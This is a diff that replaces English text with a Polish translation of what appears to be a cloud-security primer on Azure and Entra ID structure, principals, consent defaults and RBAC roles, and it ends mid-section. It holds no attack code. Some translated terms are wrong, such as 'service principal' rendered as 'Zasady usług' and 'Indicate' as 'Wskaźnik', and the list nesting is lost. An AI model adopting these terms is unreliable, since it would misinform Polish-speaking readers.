https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png

-### Management Groups +### Grupy zarządzające -- It can contain **other management groups or subscriptions**. -- This allows to **apply governance controls** such as RBAC and Azure Policy once at the management group level and have them **inherited** by all the subscriptions in the group. -- **10,000 management** groups can be supported in a single directory. -- A management group tree can support **up to six levels of depth**. This limit doesn’t include the root level or the subscription level. -- Each management group and subscription can support **only one parent**. -- Even if several management groups can be created **there is only 1 root management group**. - - The root management group **contains** all the **other management groups and subscriptions** and **cannot be moved or deleted**. -- All subscriptions within a single management group must trust the **same Entra ID tenant.** +- Może zawierać **inne grupy zarządzające lub subskrypcje**. +- Umożliwia to **stosowanie kontroli zarządzania** takich jak RBAC i Azure Policy raz na poziomie grupy zarządzającej, a następnie **dziedziczenie** ich przez wszystkie subskrypcje w grupie. +- **10 000 grup** zarządzających może być obsługiwanych w jednym katalogu. +- Drzewo grup zarządzających może obsługiwać **do sześciu poziomów głębokości**. Ten limit nie obejmuje poziomu głównego ani poziomu subskrypcji. +- Każda grupa zarządzająca i subskrypcja może mieć **tylko jednego rodzica**. +- Nawet jeśli można utworzyć kilka grup zarządzających, **istnieje tylko 1 główna grupa zarządzająca**. +- Główna grupa zarządzająca **zawiera** wszystkie **inne grupy zarządzające i subskrypcje** i **nie może być przenoszona ani usuwana**. +- Wszystkie subskrypcje w jednej grupie zarządzającej muszą ufać **temu samemu najemcy Entra ID.**

https://td-mainsite-cdn.tutorialsdojo.com/wp-content/uploads/2023/02/managementgroups-768x474.png

-### Azure Subscriptions +### Subskrypcje Azure -- It’s another **logical container where resources** (VMs, DBs…) can be run and will be billed. -- Its **parent** is always a **management group** (and it can be the root management group) as subscriptions cannot contain other subscriptions. -- It **trust only one Entra ID** directory -- **Permissions** applied at the subscription level (or any of its parents) are **inherited** to all the resources inside the subscription +- To kolejny **logiczny kontener, w którym mogą być uruchamiane zasoby** (VM, DB…) i za który będą naliczane opłaty. +- Jego **rodzicem** jest zawsze **grupa zarządzająca** (może to być grupa zarządzająca główna), ponieważ subskrypcje nie mogą zawierać innych subskrypcji. +- **Ufa tylko jednemu katalogowi Entra ID** +- **Uprawnienia** stosowane na poziomie subskrypcji (lub dowolnego z jej rodziców) są **dziedziczone** przez wszystkie zasoby wewnątrz subskrypcji. -### Resource Groups +### Grupy zasobów -[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) A resource group is a **container** that holds **related resources** for an Azure solution. The resource group can include all the resources for the solution, or only those **resources that you want to manage as a group**. Generally, add **resources** that share the **same lifecycle** to the same resource group so you can easily deploy, update, and delete them as a group. +[Z dokumentacji:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/management/manage-resource-groups-python?tabs=macos#what-is-a-resource-group) Grupa zasobów to **kontener**, który przechowuje **powiązane zasoby** dla rozwiązania Azure. Grupa zasobów może zawierać wszystkie zasoby dla rozwiązania lub tylko te **zasoby, które chcesz zarządzać jako grupą**. Zazwyczaj dodawaj **zasoby**, które mają **ten sam cykl życia**, do tej samej grupy zasobów, aby łatwo je wdrażać, aktualizować i usuwać jako grupę. -All the **resources** must be **inside a resource group** and can belong only to a group and if a resource group is deleted, all the resources inside it are also deleted. +Wszystkie **zasoby** muszą być **wewnątrz grupy zasobów** i mogą należeć tylko do jednej grupy, a jeśli grupa zasobów zostanie usunięta, wszystkie zasoby w niej również zostaną usunięte.

https://i0.wp.com/azuredays.com/wp-content/uploads/2020/05/org.png?resize=748%2C601&ssl=1

-### Azure Resource IDs +### Identyfikatory zasobów Azure -Every resource in Azure has an Azure Resource ID that identifies it. +Każdy zasób w Azure ma identyfikator zasobu Azure, który go identyfikuje. -The format of an Azure Resource ID is as follows: +Format identyfikatora zasobu Azure jest następujący: - `/subscriptions/{subscriptionId}/resourceGroups/{resourceGroupName}/providers/{resourceProviderNamespace}/{resourceType}/{resourceName}` -For a virtual machine named myVM in a resource group `myResourceGroup` under subscription ID `12345678-1234-1234-1234-123456789012`, the Azure Resource ID looks like this: +Dla maszyny wirtualnej o nazwie myVM w grupie zasobów `myResourceGroup` pod subskrypcją o ID `12345678-1234-1234-1234-123456789012`, identyfikator zasobu Azure wygląda następująco: - `/subscriptions/12345678-1234-1234-1234-123456789012/resourceGroups/myResourceGroup/providers/Microsoft.Compute/virtualMachines/myVM` -## Azure vs Entra ID vs Azure AD Domain Services +## Azure vs Entra ID vs Usługi domenowe Azure AD ### Azure -Azure is Microsoft’s comprehensive **cloud computing platform, offering a wide range of services**, including virtual machines, databases, artificial intelligence, and storage. It acts as the foundation for hosting and managing applications, building scalable infrastructures, and running modern workloads in the cloud. Azure provides tools for developers and IT professionals to create, deploy, and manage applications and services seamlessly, catering to a variety of needs from startups to large enterprises. +Azure to kompleksowa **platforma chmurowa Microsoftu, oferująca szeroki zakres usług**, w tym maszyny wirtualne, bazy danych, sztuczną inteligencję i przechowywanie. Działa jako fundament do hostowania i zarządzania aplikacjami, budowania skalowalnych infrastruktur oraz uruchamiania nowoczesnych obciążeń w chmurze. Azure zapewnia narzędzia dla programistów i specjalistów IT do tworzenia, wdrażania i zarządzania aplikacjami i usługami w sposób bezproblemowy, zaspokajając różnorodne potrzeby, od startupów po duże przedsiębiorstwa. -### Entra ID (formerly Azure Active Directory) +### Entra ID (wcześniej Azure Active Directory) -Entra ID is a cloud-based **identity and access management servic**e designed to handle authentication, authorization, and user access control. It powers secure access to Microsoft services such as Office 365, Azure, and many third-party SaaS applications. With features like single sign-on (SSO), multi-factor authentication (MFA), and conditional access policies among others. +Entra ID to chmurowa **usługa zarządzania tożsamością i dostępem**, zaprojektowana do obsługi uwierzytelniania, autoryzacji i kontroli dostępu użytkowników. Umożliwia bezpieczny dostęp do usług Microsoft, takich jak Office 365, Azure i wiele aplikacji SaaS innych firm. Oferuje funkcje takie jak jednolity dostęp (SSO), uwierzytelnianie wieloskładnikowe (MFA) i polityki dostępu warunkowego, między innymi. -### Entra Domain Services (formerly Azure AD DS) +### Usługi domenowe Entra (wcześniej Azure AD DS) -Entra Domain Services extends the capabilities of Entra ID by offering **managed domain services compatible with traditional Windows Active Directory environments**. It supports legacy protocols such as LDAP, Kerberos, and NTLM, allowing organizations to migrate or run older applications in the cloud without deploying on-premises domain controllers. This service also supports Group Policy for centralized management, making it suitable for scenarios where legacy or AD-based workloads need to coexist with modern cloud environments. +Usługi domenowe Entra rozszerzają możliwości Entra ID, oferując **zarządzane usługi domenowe zgodne z tradycyjnymi środowiskami Windows Active Directory**. Obsługują starsze protokoły, takie jak LDAP, Kerberos i NTLM, umożliwiając organizacjom migrację lub uruchamianie starszych aplikacji w chmurze bez wdrażania lokalnych kontrolerów domeny. Usługa ta obsługuje również politykę grupową dla centralnego zarządzania, co czyni ją odpowiednią dla scenariuszy, w których obciążenia oparte na AD muszą współistnieć z nowoczesnymi środowiskami chmurowymi. -## Entra ID Principals +## Zasady Entra ID -### Users +### Użytkownicy -- **New users** - - Indicate email name and domain from selected tenant - - Indicate Display name - - Indicate password - - Indicate properties (first name, job title, contact info…) - - Default user type is “**member**” -- **External users** - - Indicate email to invite and display name (can be a non Microsft email) - - Indicate properties - - Default user type is “**Guest**” +- **Nowi użytkownicy** +- Wskaźnik nazwy e-mail i domeny z wybranego najemcy +- Wskaźnik nazwy wyświetlanej +- Wskaźnik hasła +- Wskaźnik właściwości (imię, tytuł zawodowy, informacje kontaktowe…) +- Domyślny typ użytkownika to “**członek**” +- **Użytkownicy zewnętrzni** +- Wskaźnik e-mail do zaproszenia i nazwy wyświetlanej (może być to e-mail nie-Microsoft) +- Wskaźnik właściwości +- Domyślny typ użytkownika to “**Gość**” -### Members & Guests Default Permissions +### Domyślne uprawnienia członków i gości -You can check them in [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions) but among other actions a member will be able to: +Możesz je sprawdzić w [https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions](https://learn.microsoft.com/en-us/entra/fundamentals/users-default-permissions), ale między innymi członek będzie mógł: -- Read all users, Groups, Applications, Devices, Roles, Subscriptions, and their public properties -- Invite Guests (_can be turned off_) -- Create Security groups -- Read non-hidden Group memberships -- Add guests to Owned groups -- Create new application (_can be turned off_) -- Add up to 50 devices to Azure (_can be turned off_) +- Czytać wszystkich użytkowników, grupy, aplikacje, urządzenia, role, subskrypcje i ich publiczne właściwości +- Zapraszać gości (_można wyłączyć_) +- Tworzyć grupy zabezpieczeń +- Czytać nieukryte członkostwa grup +- Dodawać gości do posiadanych grup +- Tworzyć nowe aplikacje (_można wyłączyć_) +- Dodawać do 50 urządzeń do Azure (_można wyłączyć_) > [!NOTE] -> Remember that to enumerate Azure resources the user needs an explicit grant of the permission. +> Pamiętaj, że aby enumerować zasoby Azure, użytkownik potrzebuje wyraźnego przyznania uprawnienia. -### Users Default Configurable Permissions +### Domyślne konfigurowalne uprawnienia użytkowników -- **Members (**[**docs**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)** - - Register Applications: Default **Yes** - - Restrict non-admin users from creating tenants: Default **No** - - Create security groups: Default **Yes** - - Restrict access to Microsoft Entra administration portal: Default **No** - - This doesn’t restrict API access to the portal (only web) - - Allow users to connect work or school account with LinkedIn: Default **Yes** - - Show keep user signed in: Default **Yes** - - Restrict users from recovering the BitLocker key(s) for their owned devices: Default No (check in Device Settings) - - Read other users: Default **Yes** (via Microsoft Graph) -- **Guests** - - **Guest user access restrictions** - - **Guest users have the same access as members** grants all member user permissions to guest users by default. - - **Guest users have limited access to properties and memberships of directory objects (default)** restricts guest access to only their own user profile by default. Access to other users and group information is no longer allowed. - - **Guest user access is restricted to properties and memberships of their own directory objects** is the most restrictive one. - - **Guests can invite** - - **Anyone in the organization can invite guest users including guests and non-admins (most inclusive) - Default** - - **Member users and users assigned to specific admin roles can invite guest users including guests with member permissions** - - **Only users assigned to specific admin roles can invite guest users** - - **No one in the organization can invite guest users including admins (most restrictive)** - - **External user leave**: Default **True** - - Allow external users to leave the organization +- **Członkowie (**[**dokumentacja**](https://learn.microsoft.com/en-gb/entra/fundamentals/users-default-permissions#restrict-member-users-default-permissions)**)** +- Rejestracja aplikacji: Domyślnie **Tak** +- Ograniczenie użytkowników niebędących administratorami w tworzeniu najemców: Domyślnie **Nie** +- Tworzenie grup zabezpieczeń: Domyślnie **Tak** +- Ograniczenie dostępu do portalu administracyjnego Microsoft Entra: Domyślnie **Nie** +- To nie ogranicza dostępu API do portalu (tylko web) +- Zezwolenie użytkownikom na połączenie konta roboczego lub szkolnego z LinkedIn: Domyślnie **Tak** +- Pokaż, aby użytkownik pozostał zalogowany: Domyślnie **Tak** +- Ograniczenie użytkowników w odzyskiwaniu klucza BitLocker dla ich posiadanych urządzeń: Domyślnie Nie (sprawdź w Ustawieniach urządzenia) +- Czytać innych użytkowników: Domyślnie **Tak** (za pośrednictwem Microsoft Graph) +- **Goście** +- **Ograniczenia dostępu użytkowników gości** +- **Użytkownicy goście mają takie same uprawnienia jak członkowie** przyznaje domyślnie wszystkie uprawnienia użytkowników członków użytkownikom gości. +- **Użytkownicy goście mają ograniczony dostęp do właściwości i członkostw obiektów katalogowych (domyślnie)** ogranicza dostęp gości tylko do ich własnego profilu użytkownika. Dostęp do informacji o innych użytkownikach i grupach nie jest już dozwolony. +- **Dostęp użytkowników gości jest ograniczony do właściwości i członkostw ich własnych obiektów katalogowych** jest najbardziej restrykcyjny. +- **Goście mogą zapraszać** +- **Każdy w organizacji może zapraszać użytkowników gości, w tym gości i użytkowników niebędących administratorami (najbardziej inkluzywne) - Domyślnie** +- **Użytkownicy członkowie i użytkownicy przypisani do określonych ról administratorów mogą zapraszać użytkowników gości, w tym gości z uprawnieniami członkowskimi** +- **Tylko użytkownicy przypisani do określonych ról administratorów mogą zapraszać użytkowników gości** +- **Nikt w organizacji nie może zapraszać użytkowników gości, w tym administratorów (najbardziej restrykcyjne)** +- **Użytkownik zewnętrzny opuszcza**: Domyślnie **Prawda** +- Zezwolenie użytkownikom zewnętrznym na opuszczenie organizacji > [!TIP] -> Even if restricted by default, users (members and guests) with granted permissions could perform the previous actions. +> Nawet jeśli są ograniczeni domyślnie, użytkownicy (członkowie i goście) z przyznanymi uprawnieniami mogą wykonywać wcześniejsze działania. -### **Groups** +### **Grupy** -There are **2 types of groups**: +Istnieją **2 typy grup**: -- **Security**: This type of group is used to give members access to aplications, resources and assign licenses. Users, devices, service principals and other groups an be members. -- **Microsoft 365**: This type of group is used for collaboration, giving members access to a shared mailbox, calendar, files, SharePoint site, and so on. Group members can only be users. - - This will have an **email address** with the domain of the EntraID tenant. +- **Zabezpieczenia**: Ten typ grupy jest używany do przyznawania członkom dostępu do aplikacji, zasobów i przypisywania licencji. Użytkownicy, urządzenia, zasady usług i inne grupy mogą być członkami. +- **Microsoft 365**: Ten typ grupy jest używany do współpracy, dając członkom dostęp do wspólnej skrzynki pocztowej, kalendarza, plików, witryny SharePoint itp. Członkami grupy mogą być tylko użytkownicy. +- Będzie miała **adres e-mail** z domeną najemcy EntraID. -There are **2 types of memberships**: +Istnieją **2 typy członkostw**: -- **Assigned**: Allow to manually add specific members to a group. -- **Dynamic membership**: Automatically manages membership using rules, updating group inclusion when members attributes change. +- **Przypisane**: Umożliwia ręczne dodawanie konkretnych członków do grupy. +- **Członkostwo dynamiczne**: Automatycznie zarządza członkostwem za pomocą reguł, aktualizując włączenie grupy, gdy zmieniają się atrybuty członków. -### **Service Principals** +### **Zasady usług** -A **Service Principal** is an **identity** created for **use** with **applications**, hosted services, and automated tools to access Azure resources. This access is **restricted by the roles assigned** to the service principal, giving you control over **which resources can be accessed** and at which level. For security reasons, it's always recommended to **use service principals with automated tools** rather than allowing them to log in with a user identity. +**Zasada usługi** to **tożsamość** stworzona do **użytku** z **aplikacjami**, usługami hostowanymi i narzędziami automatyzacji do uzyskiwania dostępu do zasobów Azure. Ten dostęp jest **ograniczony przez przypisane role** do zasady usługi, co daje ci kontrolę nad **tym, które zasoby mogą być dostępne** i na jakim poziomie. Z powodów bezpieczeństwa zawsze zaleca się **używanie zasad usług z narzędziami automatyzacji** zamiast pozwalać im logować się za pomocą tożsamości użytkownika. -It's possible to **directly login as a service principal** by generating it a **secret** (password), a **certificate**, or granting **federated** access to third party platforms (e.g. Github Actions) over it. +Możliwe jest **bezpośrednie logowanie jako zasada usługi** poprzez wygenerowanie jej **sekretu** (hasła), **certyfikatu** lub przyznanie **federowanego** dostępu do platform zewnętrznych (np. Github Actions). -- If you choose **password** auth (by default), **save the password generated** as you won't be able to access it again. -- If you choose certificate authentication, make sure the **application will have access over the private key**. +- Jeśli wybierzesz uwierzytelnianie **hasłem** (domyślnie), **zapisz wygenerowane hasło**, ponieważ nie będziesz mógł uzyskać do niego ponownie dostępu. +- Jeśli wybierzesz uwierzytelnianie certyfikatem, upewnij się, że **aplikacja będzie miała dostęp do klucza prywatnego**. -### App Registrations +### Rejestracje aplikacji -An **App Registration** is a configuration that allows an application to integrate with Entra ID and to perform actions. +**Rejestracja aplikacji** to konfiguracja, która pozwala aplikacji integrować się z Entra ID i wykonywać działania. -#### Key Components: +#### Kluczowe komponenty: -1. **Application ID (Client ID):** A unique identifier for your app in Azure AD. -2. **Redirect URIs:** URLs where Azure AD sends authentication responses. -3. **Certificates, Secrets & Federated Credentials:** It's possible to generate a secret or a certificate to login as the service principal of the application, or to grant federated access to it (e.g. Github Actions). - 1. If a **certificate** or **secret** is generated, it's possible to a person to **login as the service principal** with CLI tools by knowing the **application ID**, the **secret** or **certificate** and the **tenant** (domain or ID). -4. **API Permissions:** Specifies what resources or APIs the app can access. -5. **Authentication Settings:** Defines the app's supported authentication flows (e.g., OAuth2, OpenID Connect). -6. **Service Principal**: A service principal is created when an App is created (if it's done from the web console) or when it's installed in a new tenant. - 1. The **service principal** will get all the requested permissions it was configured with. +1. **Identyfikator aplikacji (Client ID):** Unikalny identyfikator twojej aplikacji w Azure AD. +2. **URI przekierowania:** URL-e, do których Azure AD wysyła odpowiedzi uwierzytelniające. +3. **Certyfikaty, sekrety i poświadczenia federowane:** Możliwe jest wygenerowanie sekretu lub certyfikatu, aby zalogować się jako zasada usługi aplikacji lub przyznać jej dostęp federowany (np. Github Actions). +1. Jeśli **certyfikat** lub **sekret** zostanie wygenerowany, możliwe jest, aby osoba **zalogowała się jako zasada usługi** za pomocą narzędzi CLI, znając **identyfikator aplikacji**, **sekret** lub **certyfikat** oraz **najemcę** (domena lub ID). +4. **Uprawnienia API:** Określa, do jakich zasobów lub API aplikacja ma dostęp. +5. **Ustawienia uwierzytelniania:** Definiuje obsługiwane przez aplikację przepływy uwierzytelniania (np. OAuth2, OpenID Connect). +6. **Zasada usługi**: Zasada usługi jest tworzona, gdy aplikacja jest tworzona (jeśli jest to robione z konsoli internetowej) lub gdy jest instalowana w nowym najemcy. +1. **Zasada usługi** otrzyma wszystkie żądane uprawnienia, z którymi została skonfigurowana. -### Default Consent Permissions +### Domyślne uprawnienia zgody -**User consent for applications** +**Zgoda użytkownika na aplikacje** -- **Do not allow user consent** - - An administrator will be required for all apps. -- **Allow user consent for apps from verified publishers, for selected permissions (Recommended)** - - All users can consent for permissions classified as "low impact", for apps from verified publishers or apps registered in this organization. - - **Default** low impact permissions (although you need to accept to add them as low): - - User.Read - sign in and read user profile - - offline_access - maintain access to data that users have given it access to - - openid - sign users in - - profile - view user's basic profile - - email - view user's email address -- **Allow user consent for apps (Default)** - - All users can consent for any app to access the organization's data. +- **Nie zezwalaj na zgodę użytkownika** +- Administrator będzie wymagany dla wszystkich aplikacji. +- **Zezwól na zgodę użytkownika dla aplikacji od zweryfikowanych wydawców, dla wybranych uprawnień (zalecane)** +- Wszyscy użytkownicy mogą wyrazić zgodę na uprawnienia klasyfikowane jako "niski wpływ", dla aplikacji od zweryfikowanych wydawców lub aplikacji zarejestrowanych w tej organizacji. +- **Domyślne** uprawnienia o niskim wpływie (chociaż musisz zaakceptować, aby dodać je jako niskie): +- User.Read - zaloguj się i odczytaj profil użytkownika +- offline_access - utrzymuj dostęp do danych, do których użytkownicy dali dostęp +- openid - loguj użytkowników +- profile - wyświetl podstawowy profil użytkownika +- email - wyświetl adres e-mail użytkownika +- **Zezwól na zgodę użytkownika dla aplikacji (domyślnie)** +- Wszyscy użytkownicy mogą wyrazić zgodę na dowolną aplikację, aby uzyskać dostęp do danych organizacji. -**Admin consent requests**: Default **No** +**Prośby o zgodę administratora**: Domyślnie **Nie** -- Users can request admin consent to apps they are unable to consent to -- If **Yes**: It’s possible to indicate Users, Groups and Roles that can consent requests - - Configure also if users will receive email notifications and expiration reminders +- Użytkownicy mogą prosić o zgodę administratora na aplikacje, do których nie mogą wyrazić zgody +- Jeśli **Tak**: Możliwe jest wskazanie użytkowników, grup i ról, które mogą wyrażać zgodę na prośby +- Skonfiguruj również, czy użytkownicy otrzymają powiadomienia e-mail i przypomnienia o wygaśnięciu -### **Managed Identity (Metadata)** +### **Zarządzana tożsamość (metadane)** -Managed identities in Azure Active Directory offer a solution for **automatically managing the identity** of applications. These identities are used by applications for the purpose of **connecting** to **resources** compatible with Azure Active Directory (**Azure AD**) authentication. This allows to **remove the need of hardcoding cloud credentials** in the code as the application will be able to contact the **metadata** service to get a valid token to **perform actions** as the indicated managed identity in Azure. +Zarządzane tożsamości w Azure Active Directory oferują rozwiązanie do **automatycznego zarządzania tożsamością** aplikacji. Te tożsamości są używane przez aplikacje w celu **łączenia się** z **zasobami** zgodnymi z uwierzytelnianiem Azure Active Directory (**Azure AD**). Umożliwia to **usunięcie potrzeby twardego kodowania poświadczeń chmurowych** w kodzie, ponieważ aplikacja będzie mogła skontaktować się z **usługą metadanych**, aby uzyskać ważny token do **wykonywania działań** jako wskazana zarządzana tożsamość w Azure. -There are two types of managed identities: +Istnieją dwa typy zarządzanych tożsamości: -- **System-assigned**. Some Azure services allow you to **enable a managed identity directly on a service instance**. When you enable a system-assigned managed identity, a **service principal** is created in the Entra ID tenant trusted by the subscription where the resource is located. When the **resource** is **deleted**, Azure automatically **deletes** the **identity** for you. -- **User-assigned**. It's also possible for users to generate managed identities. These are created inside a resource group inside a subscription and a service principal will be created in the EntraID trusted by the subscription. Then, you can assign the managed identity to one or **more instances** of an Azure service (multiple resources). For user-assigned managed identities, the **identity is managed separately from the resources that use it**. +- **Przypisana przez system**. Niektóre usługi Azure pozwalają na **włączenie zarządzanej tożsamości bezpośrednio na instancji usługi**. Gdy włączysz zarządzaną tożsamość przypisaną przez system, **zasada usługi** jest tworzona w najemcy Entra ID zaufanym przez subskrypcję, w której znajduje się zasób. Gdy **zasób** jest **usuwany**, Azure automatycznie **usuwa** **tożsamość** za Ciebie. +- **Przypisana przez użytkownika**. Użytkownicy mogą również generować zarządzane tożsamości. Są one tworzone wewnątrz grupy zasobów w subskrypcji, a zasada usługi zostanie utworzona w EntraID zaufanym przez subskrypcję. Następnie możesz przypisać zarządzaną tożsamość do jednej lub **więcej instancji** usługi Azure (wiele zasobów). W przypadku zarządzanych tożsamości przypisanych przez użytkownika, **tożsamość jest zarządzana oddzielnie od zasobów, które jej używają**. -Managed Identities **don't generate eternal credentials** (like passwords or certificates) to access as the service principal attached to it. +Zarządzane tożsamości **nie generują wiecznych poświadczeń** (jak hasła czy certyfikaty) do uzyskania dostępu jako przypisana do niej zasada usługi. -### Enterprise Applications +### Aplikacje korporacyjne -It’s just a **table in Azure to filter service principals** and check the applications that have been assigned to. +To po prostu **tabela w Azure do filtrowania zasad usług** i sprawdzania aplikacji, które zostały do nich przypisane. -**It isn’t another type of “application”,** there isn’t any object in Azure that is an “Enterprise Application”, it’s just an abstraction to check the Service principals, App registrations and managed identities. +**Nie jest to inny typ "aplikacji",** nie ma żadnego obiektu w Azure, który jest "Aplikacją korporacyjną", to tylko abstrakcja do sprawdzania zasad usług, rejestracji aplikacji i zarządzanych tożsamości. -### Administrative Units +### Jednostki administracyjne -Administrative units allows to **give permissions from a role over a specific portion of an organization**. +Jednostki administracyjne pozwalają na **przyznawanie uprawnień z roli nad określoną częścią organizacji**. -Example: +Przykład: -- Scenario: A company wants regional IT admins to manage only the users in their own region. -- Implementation: - - Create Administrative Units for each region (e.g., "North America AU", "Europe AU"). - - Populate AUs with users from their respective regions. - - AUs can **contain users, groups, or devices** - - AUs support **dynamic memberships** - - AUs **cannot contain AUs** - - Assign Admin Roles: - - Grant the "User Administrator" role to regional IT staff, scoped to their region's AU. -- Outcome: Regional IT admins can manage user accounts within their region without affecting other regions. +- Scenariusz: Firma chce, aby regionalni administratorzy IT zarządzali tylko użytkownikami w swoim regionie. +- Wdrożenie: +- Utwórz jednostki administracyjne dla każdego regionu (np. "AU Ameryki Północnej", "AU Europy"). +- Wypełnij AU użytkownikami z ich odpowiednich regionów. +- AU mogą **zawierać użytkowników, grupy lub urządzenia** +- AU obsługują **dynamiczne członkostwa** +- AU **nie mogą zawierać AU** +- Przypisz role administratorów: +- Przyznaj rolę "Administrator użytkowników" regionalnym pracownikom IT, ograniczoną do AU ich regionu. +- Wynik: Regionalni administratorzy IT mogą zarządzać kontami użytkowników w swoim regionie, nie wpływając na inne regiony. -### Entra ID Roles +### Role Entra ID -- In order to manage Entra ID there are some **built-in roles** that can be assigned to Entra ID principals to manage Entra ID - - Check the roles in [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference) -- The most privileged role is **Global Administrator** -- In the Description of the role it’s possible to see its **granular permissions** +- Aby zarządzać Entra ID, istnieją pewne **wbudowane role**, które można przypisać do zasad Entra ID w celu zarządzania Entra ID +- Sprawdź role w [https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference](https://learn.microsoft.com/en-us/entra/identity/role-based-access-control/permissions-reference) +- Najbardziej uprzywilejowaną rolą jest **Global Administrator** +- W opisie roli można zobaczyć jej **szczegółowe uprawnienia** -## Roles & Permissions +## Role i uprawnienia -**Roles** are **assigned** to **principals** on a **scope**: `principal -[HAS ROLE]->(scope)` +**Role** są **przypisywane** do **zasad** w **zakresie**: `principal -[HAS ROLE]->(scope)` -**Roles** assigned to **groups** are **inherited** by all the **members** of the group. +**Role** przypisane do **grup** są **dziedziczone** przez wszystkich **członków** grupy. -Depending on the scope the role was assigned to, the **role** cold be **inherited** to **other resources** inside the scope container. For example, if a user A has a **role on the subscription**, he will have that **role on all the resource groups** inside the subscription and on **all the resources** inside the resource group. +W zależności od zakresu, do którego przypisano rolę, **rola** może być **dziedziczona** do **innych zasobów** wewnątrz kontenera zakresu. Na przykład, jeśli użytkownik A ma **rolę w subskrypcji**, będzie miał tę **rolę we wszystkich grupach zasobów** w subskrypcji i na **wszystkich zasobach** wewnątrz grupy zasobów. -### **Classic Roles** +### **Klasyczne role** -| **Owner** |
  • Full access to all resources
  • Can manage access for other users
| All resource types | +| **Właściciel** |
  • Pełny dostęp do wszystkich zasobów
  • Może zarządzać dostępem dla innych użytkowników
| Wszystkie typy zasobów | | ----------------------------- | ---------------------------------------------------------------------------------------- | ------------------ | -| **Contributor** |
  • Full access to all resources
  • Cannot manage access
| All resource types | -| **Reader** | • View all resources | All resource types | -| **User Access Administrator** |
  • View all resources
  • Can manage access for other users
| All resource types | +| **Współtwórca** |
  • Pełny dostęp do wszystkich zasobów
  • Nie może zarządzać dostępem
| Wszystkie typy zasobów | +| **Czytelnik** | • Wyświetl wszystkie zasoby | Wszystkie typy zasobów | +| **Administrator dostępu użytkowników** |
  • Wyświetl wszystkie zasoby
  • Może zarządzać dostępem dla innych użytkowników
| Wszystkie typy zasobów | -### Built-In roles +### Wbudowane role -[From the docs: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure role-based access control (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) has several Azure **built-in roles** that you can **assign** to **users, groups, service principals, and managed identities**. Role assignments are the way you control **access to Azure resources**. If the built-in roles don't meet the specific needs of your organization, you can create your own [**Azure custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.** +[Z dokumentacji: ](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles)[Azure role-based access control (Azure RBAC)](https://learn.microsoft.com/en-us/azure/role-based-access-control/overview) ma kilka **wbudowanych ról Azure**, które możesz **przypisać** do **użytkowników, grup, zasad usług i zarządzanych tożsamości**. Przypisania ról to sposób, w jaki kontrolujesz **dostęp do zasobów Azure**. Jeśli wbudowane role nie spełniają specyficznych potrzeb twojej organizacji, możesz stworzyć własne [**niestandardowe role Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles)**.** -**Built-In** roles apply only to the **resources** they are **meant** to, for example check this 2 examples of **Built-In roles over Compute** resources: +**Wbudowane** role mają zastosowanie tylko do **zasobów**, do których są **przeznaczone**, na przykład sprawdź te 2 przykłady **wbudowanych ról dla zasobów obliczeniowych**: -| [Disk Backup Reader](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Provides permission to backup vault to perform disk backup. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | +| [Czytelnik kopii zapasowej dysku](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#disk-backup-reader) | Umożliwia uprawnienie do kopii zapasowej, aby wykonać kopię zapasową dysku. | 3e5e47e6-65f7-47ef-90b5-e5dd4d455f24 | | ----------------------------------------------------------------------------------------------------------------------------------------- | ---------------------------------------------------------------- | ------------------------------------ | -| [Virtual Machine User Login](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | View Virtual Machines in the portal and login as a regular user. | fb879df8-f326-4884-b1cf-06f3ad86be52 | +| [Użytkownik logowania do maszyny wirtualnej](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles#virtual-machine-user-login) | Wyświetl maszyny wirtualne w portalu i zaloguj się jako zwykły użytkownik. | fb879df8-f326-4884-b1cf-06f3ad86be52 | -This roles can **also be assigned over logic containers** (such as management groups, subscriptions and resource groups) and the principals affected will have them **over the resources inside those containers**. +Te role mogą **być również przypisane do kontenerów logicznych** (takich jak grupy zarządzające, subskrypcje i grupy zasobów), a zasady, które są nimi objęte, będą miały je **nad zasobami wewnątrz tych kontenerów**. -- Find here a list with [**all the Azure built-in roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles). -- Find here a list with [**all the Entra ID built-in roles**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference). +- Znajdź tutaj listę z [**wszystkimi wbudowanymi rolami Azure**](https://learn.microsoft.com/en-us/azure/role-based-access-control/built-in-roles). +- Znajdź tutaj listę z [**wszystkimi wbudowanymi rolami Entra ID**](https://learn.microsoft.com/en-us/azure/active-directory/roles/permissions-reference). -### Custom Roles +### Niestandardowe role -- It’s also possible to create [**custom roles**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles) -- They are created inside a scope, although a role can be in several scopes (management groups, subscription and resource groups) -- It’s possible to configure all the granular permissions the custom role will have -- It’s possible to exclude permissions - - A principal with a excluded permission won’t be able to use it even if the permissions is being granted elsewhere -- It’s possible to use wildcards -- The used format is a JSON - - `actions` are for control actions over the resource - - `dataActions` are permissions over the data within the object - -Example of permissions JSON for a custom role: +- Możliwe jest również tworzenie [**niestandardowych ról**](https://learn.microsoft.com/en-us/azure/role-based-access-control/custom-roles) +- Tworzone są wewnątrz zakresu, chociaż rola może być w kilku zakresach (grupy zarządzające, subskrypcje i grupy zasobów) +- Możliwe jest skonfigurowanie wszystkich szczegółowych uprawnień, które będzie miała 